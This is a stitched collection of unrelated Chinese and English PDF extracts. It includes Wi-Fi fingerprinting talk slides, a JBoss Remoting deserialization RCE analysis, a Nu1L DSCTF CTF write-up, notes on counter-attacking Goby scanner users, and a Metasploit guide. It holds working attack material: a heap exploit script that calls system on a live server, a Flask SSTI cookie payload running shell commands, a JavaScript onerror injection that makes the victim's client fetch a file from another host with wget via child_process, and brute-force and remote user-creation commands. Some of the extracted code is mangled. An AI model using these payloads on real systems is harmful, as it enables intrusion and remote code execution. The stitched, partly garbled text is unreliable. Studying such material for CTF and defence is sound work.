wifi4|probe:0,1,50,45,3,221(001018,2),221(00904c,51),htcap:110c,htagg:19,htmcs:000000ff|assoc:0,1,48,50,4
5,221(001018,2),221(00904c,51),221(0050f2,2),htcap:110c,htagg:19,htmcs:000000ff|oui:withings
In most cases like this we distinguish them using the top 24 bits of the MAC address,
which is the Organizationally Unique Identifier. OUIs are assigned to a manufacturer.
Adding the OUI as a qualifier can distinguish similar devices from different
manufacturers which have the same signature.
We sometimes use information from DHCP: the options present in the request can
identify the OS, as developed by Fingerbank (http://fingerbank.org). However using
DHCP gets further and further from the Wi-Fi layer, so we try to be more sparing in
using it. In particular, only the AP itself will be able to see the DHCP information after
decryption, it cannot be used from a separate sniffer device on the Wi-Fi network.
0:45
Troublesome cases
iPad Air 2nd gen vs iPhone 6s
wifi4|probe:0,1,45,127,107,191,221(0017f2,10),221(0050f2,8),221(0
01018,2),htcap:006f,htagg:17,htmcs:0000ffff,vhtcap:0f815832,vhtrx
mcs:0000fffa,vhttxmcs:0000fffa,extcap:0400088400000040|assoc:0,1,
33,36,48,45,127,191,221(0017f2,10),221(001018,2),221(0050f2,2),ht
cap:006f,htagg:17,htmcs:0000ffff,vhtcap:0f815832,vhtrxmcs:0000fff
a,vhttxmcs:0000fffa,txpow:1302,extcap:0400000000000040
However there remain some cases which are still troublesome, mainly devices made
by the same vendor, using the same software, the same chipset, and at about the
same time. Often the TX Power information will distinguish them due to differing
board designs, but not always. For example, iPad Air 2nd generation and iPhone 6s
have the same signature. We can try to use heuristics, like if the DHCP hostname
contains iPad then it’s probably an iPad. If nothing else though, we have to return
both possibilities.
0:30
Uses of Wi-Fi Taxonomy
Current
● List of Connected Clients in UI
● Correlate with other data
Future
● Optimize for client ?
● WIDS ?
This mechanism was originally developed as part of a Wi-Fi AP project. We intended
to focus on identifying the Wi-Fi chipset the client was using. We thought if we could
just know what chipset the client was using, we’d enable all kinds of very clever
workarounds for bugs in that chipset and we would make Wi-Fi perfect… but it turns
out that the kinds of bugs which can be easily worked around are mostly handled by
the software in the client device. Who knew?
Instead, this information is currently used:
●
in the UI where one can see a list of connected clients to also give an
indication of what those clients are. If the client includes a useful hostname
that is great, but if it doesn’t include a hostname or it uses something like its
serial number it is better to say what kind of device we think it is.
●
We also use it to correlate with performance data to break it out by type of
client device. My colleague Avery Pennarun gave a talk at Netdev 1.1. The
graph on this page is from that talk, and shows Wi-Fi throughput getting better
and better as the client gets closer to the AP, until when it gets really close it
drops sharply back down. Most clients don’t behave this way, only a few (one,
in this case). That sort of behavior is only visible if the data can be broken out
by the type of device.
https://www.youtube.com/watch?v=yZcHbD84j5Y (the section about this
mechanism starts at 16:09).
Possible uses in the future:
●
We might use it for optimizations based on the client, for example in how well
they tolerate packet reordering, and use it to get lower latency.
●
Wireless Intrusion Detection Systems could make use of knowing more about
the type of client connecting, to know what sort of behavior to expect from it.
2:00
Other resources
●
Published paper
https://research.google.com/pubs/pub45429.html
https://arxiv.org/abs/1608.01725
●
“Measuring wifi performance across all Google Fiber customers”
Avery Pennarun, Netdev 1.1, 2015
https://youtu.be/yZcHbD84j5Y
http://apenwarr.ca/diary/wifi-data-apenwarr-201602.pdf
We published a paper about the mechanism, which goes one level of detail deeper
into the implementation.
The NetDev talk by Avery Pennarun is linked here. That talk described the overall
environment where this mechanism was developed and how it was used in that
environment.
0:30
Current Status
● hostapd 2.6 added CONFIG_TAXONOMY.
○ hostapd_cli command: signature
● Database of known signatures:
○
https://github.com/NetworkDeviceTaxonomy/wifi_taxonomy
○ 907 signatures covering 172 devices
○ ~60% of connected Wi-Fi devices
○ the long tail is long
The implementation to extract signatures for clients went into hostapd in August 2016,
and is present in hostapd 2.6 and later.
The database of known signatures is released as open source code under an Apache
license.
https://github.com/NetworkDeviceTaxonomy/wifi_taxonomy
It currently identifies about 60% of Wi-Fi clients across a broad swath of the market.
The remaining 40% of devices are mostly laptops and desktops, with a long tail of
other types of unidentified devices.
0:45
What Happens Next
● Integration
● Better tools to gather signatures
○ Handle dependency on AP
● AP Taxonomy?
What comes next?
●
So. There is this thing which can identify an interesting subset of Wi-Fi client
devices. The signature mechanism is in hostapd, and the database of
signatures is published as open source code, but it is only useful if integrated
into other products and systems: Wi-Fi APs, or Wireless Intrusion Detection
Systems, or other stuff.
The main goal of this talk is to build awareness that the system exists and is
available for use.
●
We need to develop better tools for gathering signatures. Right now it is pretty
manually intensive. Also, the longer we’ve been at this the more we realize
that the client responds to what it sees from the AP. To get a really robust set
of signatures, we need to gather using even more different types of APs.
●
This talk has been all about how APs can identify clients, but running it in
reverse would likely work as well. It could be run on a client to identify the type
of AP it is connecting to. The list of IEs present in the AP’s Beacon and Probe
Response could be turned into a signature, and this would allow any other
connectivity or performance checks run by the client to report more information
about the AP.
Poll: Run a Wi-Fi AP at DEFCON?
1%
10%
89%
bad idea.
worst idea.
what could possibly go wrong?
SSID: SmellOfWifiTalk
Password: smellofwifitalk
I surveyed co-workers about whether to run a demo, and as you can see the results
were quite encouraging.
You can try it! Joining SmellOfWifiTalk will print the system’s estimation of what your
device is, for however long a rogue Wi-Fi network lasts at DEFCON. It will be printed
in that terminal window up on the screen, while we answer questions.
0:30 | pdf |
1
jboss
jboss RPC RCE
分析
JDNI
2022年4⽉27⽇13:28:14
看到⼀个帖⼦提到jboss 漏洞,就去Twitter找了链接
https://jspin.re/jboss-eap-as-6-rce-a-little-bit-beyond-xac-xed/
https://s3.amazonaws.com/files.joaomatosf.com/slides/alligator_slides.pdf
简单分析了下pdf的内容,漏洞不是传统的http漏洞,是jboss⾥的remoting3存在问题,可参考
weblogic的T3,只是jboss是跑在独⽴的端⼝上。
4446: JBoss Remoting Unified Invoker
3873: EJB Remoting Connector
早期版本端⼝是4445,存在cve-2016-3690 反序列化漏洞(versions <= 5)。
jboss RPC RCE
分析
2
新版本的4446和3873跑的是Remoting 3,但没有说明⽂档,作者只好编写代码,⼿动测试抓包来分析
依赖如下
3
测试代码
pom.xml
XML
复制代码
<dependency>
<groupId>org.jboss.remoting</groupId>
<artifactId>jboss-remoting</artifactId>
<version>2.4.0.GA</version>
</dependency>
<dependency>
<groupId>org.jboss.logging</groupId>
<artifactId>jboss-logging</artifactId>
<version>3.3.0.Final</version>
</dependency>
<dependency>
<groupId>org.jboss</groupId>
<artifactId>jboss-common-core</artifactId>
<version>2.5.0.Final</version>
<exclusions>
<exclusion>
<groupId>org.jboss.logging</groupId>
<artifactId>jboss-logging-spi</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>concurrent</groupId>
<artifactId>concurrent</artifactId>
<version>1.3.4</version>
</dependency>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Java
复制代码
InvokerLocator locator = new
InvokerLocator("socket://30.1.20.3:4446");
Client remotingClient = new Client(locator, "ALLIGATOR");
remotingClient.connect();
System.out.println(remotingClient.invoke("RECIFE"));
1
2
3
4
4
看到ACED就很亲切了,通过ACED0005交互,然后Client发送payload,这个和我们⼀般发送的反序列
化payload格式有所区别,没有ACED头。⽂章中解释了头部字段含义,这个之前做反序列化脏数据也涉
及到过。(PS: 这⾥可以看到,建⽴连接后,server端会主动发送ACED0005,然后client交互
ACED0005,在发送payload)
0x77011679
参考java/io/ObjectStreamConstants.java
Java
复制代码
0x77: TC_BLOCKDATA
0x01: Length of TC_BLOCKDATA
0x16: Protocol version 22
0x79: TC_RESET (??)
1
2
3
4
5
然后和yso⽣成的payload可以对⽐下,其实就是前4字节不同。后续应该就是序列化数据,所以我们可
以尝试替换前四字节然后发送利⽤。
6
这⾥就⽤yso⽣成⼀个,然后发送利⽤,数据包如下。
7
这个接⼝应该是RPC,那么应该可以像T3那样注册⽅法,然后invoke调⽤,待后续,不过漏洞验证还可
以⽤sleep来测试。
8
PS:4446和3873端⼝均可利⽤
⽂中还提到了⼀条jboss原⽣的反序列化利⽤链,ProducerManagerImpl,很直观的⼀条JNDI利⽤链
编写构造如下,本地测试可成功
JDNI
9
进⼀步针对spring测试,也可利⽤。 | pdf |
DSCTF WriteUp By Nu1L
DSCTF WriteUp By Nu1L
Crypto
picproblem
approximate
RAS-330
Pwn
fuzzerinstrospector
Re
catchme
FFunction
Misc
Muti Operations
Web
pingpingping
easy_tou
Crypto
picproblem
from math import sqrt
from numpy import array, zeros, uint8
import cv2
image = cv2.imread('encflag.jpg')
imagearray = array(image)
height, width, _ = imagearray.shape
P =
152499380767419384190482151255394637996737469827829605515820669958508347281748972149386
271161591540732631566067054180175361690003977280272892522609147586068968287155564124150
018389239751303797118670912362907758420422608452481167379498468784017877205254544124292
749290258354735556552553866483651658972194298057709542156188687392863433064097980004057
406021887278721242663020250811848426955398339917915548958331640010765556422245343746272
474909726512230064493671743415133163309258514018351034936942252744026474684397283492786
006557855783615079869053017269467951423172261382224681001013000532403249236088953155380
383239860456308825641048186524377121699060316699319893535847183132839561847797412682476
256087233759499739421823442705039965527084838599508858642052688639732094935098040693620
021711204097143366032217907228843884296495756871903679432020311626332962358933936749730
314093807033455734583422608518914085826438806374518983358496282550984327967882624055848
0527560
Q =
144974785760548835346080059675412116045004097684551930165850975100610036892637453087023
174291792239067432699807208947124014006634368316951997771667232583833232880189156177352
470797718066692597287113650243525462092611802610357250167553054026631032284308722771634
556793732059662255302266706271253907460229391573739859730440609795755839632518038087485
681488398060156530605953365870145579216484383748607826241099837323269013706670885203243
320911762799081847175287904146825978855342576982002242510264451197524255607780638723630
376832471330616731367331247218403195050108364738578247240257973651044843267327677509991
405146383497927951228626527613594146951237160965644175686044326065662696303695052324937
342508040875130034162436399505419781355896054323511042351814287971276113396797302227959
063401251315553363726197137933284537284824027719677137520416086342966667543656016422940
821277133426793807849943605342923528504114753892753402806486857143554219544029587797968
4848131957
R =
160414523204454363365661625464770845116635110428151039573788549169638580640726763330854
598547378911965168171108202311393308562462855716842357874754476159731201271355889152379
882066761825649539847937817212401936033942759244921720880588850276935828877985996996556
083250510438895509163770448133671672241833637333446778737108572821226023133051070579712
422435381050927225094028516560585359481189380425147885027070329463833526830588165549187
022655314128650310954331341427922048058970421036327752345794860749835137784390433563703
251042014150597599745207747729632603504846317999734713699080801737475082481045860541223
639195291067924628828766471753385774346293570868130907391576137747745447920605401626042
286545786256535300278988791719643775061821291842012946433048802127218795217706317589644
784239520969330450230425347173374676525751039522697222487627771745720522072624004203525
994745381666846075799577101815570360092674590559516285798286095554587734391474629403418
0707
S =
152499380767419384190482151255394637996737469827829605515820669958508347281748972149386
271161591540732631566067054180175361690003977280272892522609147586068968287155564124150
018389239751303797118670912362907758420422608452481167379498468784017877205254544124292
749290258354735556552553866483651658972194298057709542156188687392863433064097980004057
406021887278721242663020250811848426955398339917915548958331640010765556422245343746272
474909726512230064493671743415133163309258514018351034936942252744026474684397283492786
006557855783615079869053017269467951423172261382224681001013000532403249236088953155380
383239860456308825641048186524377121699060316699319893535847183132839561847797412682476
256087233759499739421823442705039965527084838599508858642052688639732094935098040693620
021711204097143366032217907228843884296495756871903679432020311626332962358933936749730
314093807033455734583422608518914085826438806374518983358496282550984327967882624055848
0527560
x0 = 1
y0 = 0
x = P*x0+Q*y0
y = R*x0+S*y0
assert 1301149798051259562945444365741194129602596348352064372203373*pow(x, 2) ==
1175915431138623881271508290982969935822476052419526528443170552123*pow(y, 2) +
1301149798051259562945444365741194129602596348352064372203373
x1 = round(x/y*0.001, 16)
approximate
u1 = y*3650/x
x2 = round(x/y*0.00101, 16)
u2 = y*3675/x
x3 = round(x/y*0.00102, 16)
u3 = y*3680/x
kt = [x1, x2, x3]
temp_image = zeros(shape=[height, width, 3], dtype=uint8)
for k in range(0, 8):
for i in range(0, height):
for j in range(0, width):
x1 = u1 * x1 * (1 - x1)
x2 = u2 * x2 * (1 - x2)
x3 = u3 * x3 * (1 - x3)
r1 = int(x1*255)
r2 = int(x2*255)
r3 = int(x3*255)
# print(r1, r2, r3)
for t in range(0, 3):
temp_image[i][j][t] = (imagearray[i][j][t]-((r1+r2) ^ r3)) % 256
# exit(0)
x1 = kt[0]
x2 = kt[1]
x3 = kt[2]
# print(temp_image)
print(temp_image[0,:,0])
cv2.imwrite('flag.png', temp_image)
SageMathCellType some Sage code below and press Evaluate.
1
n =
220971235437659218787301534900125814573275375772797143228155015207070342885317864996996
792238571860014638681881545801581773094332539143100637613713347657144295844067194697804
8289576619226455954558674233
2
x1 =
811014008138487255206458894195538278638874705063011299683223066145173267066167569651574
403709709859860753283811581224262066968961766268699842501230882753
3
x2 =
604027788456788753432030185234159492794312526007332565135884365231384927178690915191777
6176398625281758612974095169699905562406324876515425802568788870149
4
5
PR.<x> = PolynomialRing(Zmod(x1*x2))
6
f = x + x1*x2//n
7
x0 = f.small_roots(X=2**32,beta=0.33)
8
print(x0)
9
10
p = x1//int(gcd(f(x0),x1))
11
q = x2//int(gcd(f(x0),x2))
12
u = next_prime(p)
13
v = next_prime(q)
14
print(u)
15
print(v)
16
17
Language:
Sage
Share
[4045910]
351496689045414814528596331250847127635026655805028291764456230510046066486138360678754
18894975082323
628658085052712483595343510880463521049345272016889024923512639418087264377290581276163
01033683039171
Help | Powered by SageMath
About SageMathCell
About
SageMathCell project is an easy-to-use web interface to a free open-source mathematics
software system SageMath. You can help SageMath by becoming a .
It allows embedding Sage computations into any webpage: check out our short
instructions, a comprehensive description of capabilities, or Notebook Player to
convert Jupyter notebooks into dynamic HTML pages!
Resources for your computation are provided by SageMath, Inc.. You can also set up your
own server.
General Questions on Using Sage
RAS-330
There are a lot of resources available to help you use Sage. In particular, you may ask
questions on sage-support discussion group or ask.sagemath.org website.
Problems and Suggestions
Unfortunately, we can no longer allow user code in cells to freely access Internet. See
this discussion for details.
If you experience any problems or have suggestions on improving this service (e.g., you
want a package installed), please email Andrey Novoseltsev.
SageMathCell is expected to work with any modern browser and without any downtime.
CoCalc
Need more power and flexibility but still prefer to avoid your own installation of
Sage? CoCalc will allow you to work with multiple persistent worksheets in Sage,
IPython, LaTeX, and much, much more!
from Crypto.Util.number import *
from pwn import *
while True:
r = remote("39.107.97.220", 1006)
r.recvuntil(b'Factor ')
n = int(r.recvline().strip(b':\n'))
print(n)
(p,_),(q,_) = factor(n)
print(p,q)
r.sendline(str(p+q))
try:
r.recvuntil(b"plz select the size of e: ")
break
except:
r.close()
continue
Pwn
fuzzerinstrospector
r.sendline(b'90')
e,dp,dq = [int(i) for i in r.recvline().strip().split(b' ')]
print(e,dp,dq)
r.recvuntil(b'RSA330 - ')
n = int(r.recvline().strip(b':\n'))
print(n)
k1p = e*dp << 330
k2q = e*dq << 330
k = k1p * k2q // n + 1
for k1 in list(divisors(k)):
k2 = k // k1
if ((k1>=e) or (k2>=e)):
continue
q0 = k2q // k2
q0 = int(q0 - int(q0 % e) - int(inverse(k2,e)) + 1)
p0 = n//(q0 + 2**330)
p0 = p0 - int(p0 % e) - int(inverse(k1,e)) + 1
PR.<x> = PolynomialRing(Zmod(n))
f = e*x + p0
ans = f.monic().small_roots(X=2**242,beta=0.5,epsilon=0.02)
print(k1,k2,ans)
if ans:
p = int(gcd(int(e*ans[0] + p0),n))
q = n//p
print(p,q)
r.sendline(str(p+q))
break
r.interactive()
from pwn import *
context.log_level="debug"
context.arch="amd64"
context.terminal = ['tmux', 'sp', '-h']
p=remote('39.105.185.193',30007)#process("./fuzzerinstrospector")
#gdb.attach(p)
def add(x):
p.sendafter(b'Your choice:',b'1\\n')
p.sendafter(b'Index:',str(x).encode('ascii'))
for _ in range(8):
p.sendline(b'-')
p.sendafter(b'Bitmap:',bytes(range(0,256)))
def dele(x):
p.sendafter(b'Your choice:',b'4\\n')
p.sendlineafter(b'Index:',str(x).encode('ascii'))
for i in range(9):
add(i)
for i in range(9):
dele(8-i)
for i in range(8-1):
add(i+1)
p.sendafter(b'Your choice:',b'1\\n')
p.sendafter(b'Index:',b'0\\n')
p.sendline(str(ord('s')).encode('ascii'))
p.sendline(str(ord('h')).encode('ascii'))
for _ in range(6):
p.sendline(b'0')
p.sendafter(b'Bitmap:',bytes(range(0,256)))
dele(7)
dele(6)
dele(5)
dele(4)
dele(3)
dele(2)
dele(1)
p.sendafter(b'Your choice:',b'1'*0x1000+b'\\n')
for i in range(7):
add(i+1)
#input()
p.sendafter(b'Your choice:',b'1\\n')
p.sendafter(b'Index:',b'8\\n')
p.send('\\x00')
p.sendafter(b'Bitmap:',bytes(range(0,256)))
p.sendafter(b'Your choice:',b'3\\n')
p.sendafter(b'Index:',b'8\\n')
p.recvline()
leak=u64(bytes([int(p.recvline().strip().split(b' ')[1]) for _ in range(8)]))
print(hex(leak))
system=leak-0x7ffff7dd2da0+0x7ffff79e7000+0x4f420
p.sendafter(b'Your choice:',b'6\\n')
Re
catchme
datadiv_decode2726420793510661260 解密字符串
JNI_OnLoad⾥使⽤RegisterNatives注册check sub_B2A4
check对输⼊进⾏aes加密,key是 wonderfulday!!!!
然后base64编码,与 #pZ%eVSk!QNUlfNIjemL&w== ⽐较
p.send(str(system))
p.interactive()
FFunction
在my_plugin.dll的f函数断下,f函数先将第⼀个参数的数值分成2个word,然后tea加密并与第⼆个参数的值⽐较。
第⼀个参数的值是输⼊经过位置变换然后base64
Misc
Muti Operations
com.apple.sharingd.plist中找到第⼀关的时间。
第⼆关直接编写脚本画图即可。
import binascii
import struct
import base64
data =
binascii.unhexlify('4c75155ce781d7d173f11b5022b24dcbf5615d21e79eca3fc7b5767cb98cddc7fa2
30d99d31aab0b32c9128ef2ba07d323d12de52c8fb6fbe353d8bd4e1e2e89fa66dd3965ecfe87605e7c3000
6c0c34')
data = [struct.unpack('<I', data[t:t+4])[0] for t in range(0, len(data), 4)]
mask32 = lambda m:m&0xffffffff
result = []
for i in range(0, 20, 2):
v18 = mask32(0x79B99E37 * 32)
v17 = data[i]
v19 = data[i+1]
for _ in range(32):
v19 = mask32( v19 + ((v18 + v17) ^ (0x0DEADC0DE + (v17 >> 5)) ^ (0x0FACEB00C +
16 * v17)))
v17 = mask32( v17 + ((v18 + v19) ^ (0x0DEADBEEF + (v19 >> 5)) ^ (0x0BABEC0FE +
16 * v19)))
v18 = mask32(v18 - 0x79B99E37)
result.append(v17&0xffff)
result.append(v17>>16)
result.append(v19&0xffff)
result.append(v19>>16)
result = [(t>>8|t)&0xff for t in result][::-1]
result = base64.b64decode(bytearray(result))
t1 = "0123456789abcdefghijklmnopqrst"
t2 = '0t1s2r3q4p5o6n7m8l9kajbichdgef'
flag = ['' for i in range(len(result))]
for i in range(30):
flag[ t1.index(t2[i]) ] = chr(result[i])
print(''.join(flag))
"""
Plot raw mouse data using matplotlib
For example if you pass as input a copy of '/dev/input/mice' it will replay everything
done on a plot.
Created by: regi18
Version: 3.0.0
Github: <https://github.com/regi18/plotMouseMovements>
"""
import struct
import matplotlib.pyplot as plt
import argparse
from tqdm import trange
xList = [0]
yList = [0]
data = [[0,0,0]]
# Sets the arguments (launch the program with --help to see them better)
parser = argparse.ArgumentParser()
parser.add_argument("inputfile", help="the input file (raw mouse data, e.g. from
/dev/input/mice). Default name = \\"mouse.bin\\"", nargs="?", type=str, default=
["mouse.bin"])
parser.add_argument('--speed', "-s", help="set the pause between updates (in seconds)",
nargs="?",type=float, default=0.1)
parser.add_argument('--color', "-c", help="set the color of the plot (b = blue, g =
green, r = red, c = cyan, m = magenta, y = yellow, k = black, w = white)",
nargs="?",type=str, default="c")
args = parser.parse_args()
f = open( args.inputfile, "rb" );
# Gets the mouse informations from the file (b = button, x = x coordinate, y = y
coordinate)
def getMouseEvent():
b, x, y = struct.unpack('3b',f.read(3))
data.append([x + (data[len(data)-1][0]), y + (data[len(data)-1][1]), b & 0x1])
draw = False
try:
for _ in trange(2740):
b, x, y = struct.unpack('3b',f.read(3))
data.append([x + (data[len(data)-1][0]), y + (data[len(data)-1][1]), b & 0x1])
finally:
# Enable interactive mode (matplotlib)
plt.ion()
cnt = 0
# Iterate over the mouse data
for a,i in enumerate(data):
# if left button clicked, append the data to these new lists
Web
pingpingping
读⽂件加空格即可绕过
读cmdline泄露secret,SSTI
if i[2] == 1 and data[a-1][2] != 0:
draw = True
xList.append(i[0])
yList.append(i[1])
# if the left button wasn't press, but in the cycle before it was, updates the
canvas
elif data[a-1][2] == 1:
plt.savefig(f"mouse_{cnt}.png")
# clear the canvas
plt.clf()
cnt += 1
plt.plot(xList, yList, args.color+",")
plt.pause(args.speed)
elif i[2] == 0:
draw = False
xList.append(i[0])
yList.append(i[1])
else:
plt.savefig(f"mouse_{cnt}.png")
# clear the canvas
plt.clf()
cnt += 1
plt.plot(xList, yList, args.color+",")
plt.pause(args.speed)
# Disable interactive mode, and leave plot open
plt.ioff()
plt.savefig(f"mouse_{cnt}.png")
# plt.show()
f.close()
exit()
import os
cmdtmpl = r'''flask-unsign --sign --cookie "{'username':'{% if
\\'\\'[\\'__cla\\'[\\'__add__\\'](\\'ss__\\')][\\'__base__\\']
[\\'__subcla\\'[\\'__add__\\'](\\'sses__\\')]()
[\\'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\'[\\'__len__\\']()]
[\\'__in\\'[\\'__add__\\'](\\'it__\\')][\\'__gl\\'[\\'__add__\\'](\\'obals__\\')]
[\\'__buil\\'[\\'__add__\\'](\\'tins__\\')][\\'eval\\']
(\\'__import__(\\"o\\'[\\'__add__\\'](\\'s\\")\\'))[\\'pop\\'[\\'__add__\\'](\\'en\\')]
(\\'testb=\\$(expr substr \\"\\$PATH\\" \\'[\\'__add__\\'](\\'a\\'[\\'__len__\\']()
[\\'__repr__\\']())[\\'__add__\\'](\\' \\')[\\'__add__\\'](\\'a\\'[\\'__len__\\']()
[\\'__repr__\\']())[\\'__add__\\'](\\');rm \\${testb}tmp\\${testb}aaaa\\'))
%}nulltest{% endif %}'}" --secret 'Guess_fl4gName'
'''
rpl = "a"*59
payload = 'cat /f* > /tmp/testzz'
import requests
if 1==1:
i = 200
cmd = cmdtmpl.replace(rpl, "a"*i)
tt = os.popen(cmd).read().strip()
print(i, tt)
burp0_url = "<http://47.93.210.59:30002/ping>"
# burp0_url = "<http://127.1:1234/ping>"
burp0_cookies = {"session": tt}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0)
Gecko/20100101 Firefox/102.0", "Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"
, "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-
urlencoded", "Origin": "<http://47.93.210.59:30002>", "Connection": "close", "Referer":
"<http://47.93.210.59:30002/ping>", "Upgrade-Insecure-Requests": "1"}
burp0_data = {"url": " file:///app/config.py"}
a = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies,
data=burp0_data)
print(a.status_code)
print(a.text)
if "nulltest" in a.text:
print("succ",str(i))
exit()
easy_tou
rce+ssrf打smbd | pdf |
回顾⼀下goby反制讨论的⼀些⼩技巧做个记录
限制前提
1. ⾃动转⼩写
2. 不能有空格
群友提供的⼀些思路
ftk提供的
r4提供的win下的
7师傅提供的数组⽅式,不过不知道为啥我的shell好像不⾏
ftk提供的利⽤已经有的命令切割其中字符最终获得空格,不过id的话需要知道⽤户名,得找个别的命令
⽐较完整的
js
我有点弱智,我能注⼊javascript我却在那边绕shell
所以使⽤javascript的⼀些编码就可以了,⽐如base64、url编码等。就不再说了。
我还整了个没啥⽤的
onerror=\"x=('a'+''['concat'])[9];cmd='/usr/local/bin/wget'+x+'127.0.0.1/1';require('child_process').exec(cmd);\">
其实也是从js的⼀个对象⾥打印出来的字符串⾥获取空格罢了。
然⽽失败了,可能是我浏览器的上下⽂和electron⾥不太⼀样,搁置。
打开浏览器调试 | pdf |
MSF渗透常用操作指南
一、msf安装与更新
在服务器或者虚拟机执行(linux)
curl https://raw.githubusercontent.com/rapid7/metasploitomnibus/master/config/template
s/metasploit-frameworkwrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall
然后验证是否安装成功
输入msfconsole
Windows安装
点击下载 https://windows.metasploit.com/metasploitframework-latest.msi
安装
解压安装包后直接点击安装
添加环境变量
使用
打开终端输入 msfconsole 直接使用
二、更新msf
在目录内运行命令 ./msfupdate
运行命令 apt update , apt install metasploit-framework
如果./msfupdate不能执行 就把 /opt/metasploit-framework/bin/msfupdate 文件里面的 --allow-
downgrades 参 数给去除掉,就可以更新了。
三、msf七大模块介绍
msf有很多模块 一共有7个
命令:ls /opt/metasploit-framework/embedded/framework/modules/ -al
auxiliary 辅助模块,该模块是用于辅助渗透的,比如端口扫描、存活探测、暴力破解、扫描、发掘漏
洞、探测信息等工作。
encoders 编码器模块,对payload进行编码加密,可绕过部分杀软软件,将攻击载荷进行编码(类似与
加密),让避免操作系统和杀毒软件辨认出来但是会让载荷的体积变大,这个时候需要选择传输器和传
输体配对成的攻击载荷来下载目标载荷并且运行。。
evasion 躲避模块,该模块分类下只有4个,都是为了躲避微软的限制或者是杀软 的,免杀效果很一
般。
exploits 漏洞利用模块,这个模块通常是用于对某些有可能存在漏洞的目标进行漏洞利用,利用已发现
的漏洞对远程目标系统进行攻击,植入并运行攻击载荷,从而控制目标系统。
nops 空指令模块,为了避免攻击载荷在执行的过程中出现随机地址和返回地址错误而在执行shellcode
之前加入一些空指令,使得在执行shellcode时有一个较大的安全着陆区。。
payloads 攻击载荷,exploit成功之后就会执行payload,这段payload可以是反弹 代码,可以是添加用
户的代码,在渗透攻击触发漏洞后劫持程序执行流程并跳入的这段代码。本模块的作用是消除安全工作
人员开发这部分代码的代价。
post 后渗透模块,该模块一般用于内网渗透。
四、msf之auxiliary常用模块演示
先查看auxiliary的功能模块
Metasploit的辅助模块主要用于信息搜集阶段,功能包括扫描、口令猜解、敏感信息嗅探、FUZZ测试发
掘漏洞、实施网络协议欺骗等
*auxiliary模块命名规则*
命名规则:功能/服务/模块名称
例如: scanner/discovery/arp_sweep
一、辅助模块(auxiliary)分为三个大类
1、Admin
Admin/HTTP模块
Admin/MSSQL模块
Admin/MySQL模块
Admin/Postgres模块
Admin/VMWare模块
2、Scanner
DCERPC
Discovery
FTP
HTTP
IMAP
MSSQL
MySQL
NetBIOS
POP3
SMB
SMTP
SNMP
SSH
Telnet
TFTP
VMWare
VNC
3、Server
捕获模块
二、Admin例子
1、查找关于mysql的辅助模块
2、选择auxiliary/admin/mysql/mysql_sql
use 1
3、查看需要设置的参数
4、设置目标主机、用户名和密码,
5、run,执行
其他的就不演示了
三、scanner例子
常用扫描模块及功能
auxiliary/scanner/portscan 端口扫描
auxiliary/scanner/smb/smb_version SMB系统版本扫描
auxiliary/scanner/smb/smb_enumusers SMB枚举
auxiliary/scanner/smb/smb_login
SMB弱口令扫描
auxiliary/admin/smb/psexec_command SMB登录且执行命令
auxiliary/scanner/ssh/ssh_login ssh登录测试
scanner/ mssq/mssql_ping
MSSQL主机信息扫描
admin/mssql/mssql_enum
MSSQL枚举
admin/mssql/mssql_exec MSSQL执行命令
admin/mssql/mssql_sql MSSQL查询
scanner/mssql/mssql_login MSSQL弱口令扫描
auxiliary/admin/mysql/mysql_enum MYSQL枚举
auxiliary/admin/mysql/mysql_sql MYSQL语句执行
auxiliary/scanner/mysql/mysql_login MYSQL弱口令扫描
auxiliary/scanner/smtp/smtp_version SMTP版本扫描
auxiliary/scanner/smtp/smtp_enum SMTP枚举
auxiliary/scanner/snmp/community SNMP扫描设备
auxiliary/scanner/telnet/telnet_login TELNET登录
scanner/vnc/vnc_none_auth VNC空口令扫描
arp扫描
search arp
use auxiliary/scanner/discovery/arp_sweep
set interface rhost shost smac threads
run
端口扫描
search portscan
use auxiliary/scanner/portscan/syn
set interface posts rhosts threads
run
密码嗅探
use auxiliary/sniffer/psnuffle
支持从pcap抓包文件中提取密码
功能类似于dsniff
目前只支持pop3 imap ftp http_get协议
SNMP扫描
vi /etc/default/snmpd 侦听地址修改为0.0.0.0
use auxiliary/scanner/snmp_login
use auxiliary/scanner/snmp_enum
use auxiliary/scanner/snmp_enumusers (windows)
use auxiliary/scanner/snmp_enumshares (windows)
smb
smb版本扫描
use auxiliary/scanner/smb/smb_version
扫描命名管道,判断smb服务类型(账号、密码)
use auxiliary/scanner/smb/pipe_auditor
smb共享枚举(账号、密码)
use auxiliary/scanner/smb/smb_enumshares
smb用户枚举(账号、密码)
use auxiliary/scanner/smb/smb_enumusers
sid枚举(账号、密码)
use auxiliary/scanner/smb/smb_lookupsid
ssh
SSH版本扫描
use auxiliary/scanner/ssh/ssh_version
SSH密码爆破
use auxiliary/scanner/ssh/ssh_login
set userpass_file /usr/share/metasploit-framework/data/wordlist/root_userpass.txt
set verbose false
run
ssh -l root
ssh 192.168.0.11
ssh -l root 192.168.0.11
ssh [email protected]
ssh -p 12333 192.168.0.11
ssh -l root -p 12333 216.230.230.114
ssh -p 12333 [email protected]
SSH公钥登录
use auxiliary/scanner/ssh/ssh_login_pubkey
set key_file di_rsa
set username root
run
mssql
Mssql扫描端口
TCP 1433 (动态端口)/UDP 1434 (查询TCP端口号)
use auxiliary/scanner/mssql_ping
爆破mssql密码
use auxiliary/scanner/mssql_login
远程代码执行
use auxiliary/admin/mssql/mssql_exec
set cmd net user pass /add
ftp
ftp版本扫描
use auxiliary/scanner/ftp/ftp_version
use auxiliary/scanner/ftp/anonymous
use auxiliary/scanner/ftp/ftp_login
vnc
VNC:虚拟网络控制台,是一款优秀的远程控制工具软,基于 UNIX 和 Linux 操作系统的免费的开
源软件,远程控制能力强大,高效实用,其性能可以和 Windows 和 MAC 中的任何远程控制软件
媲美
vnc密码破解
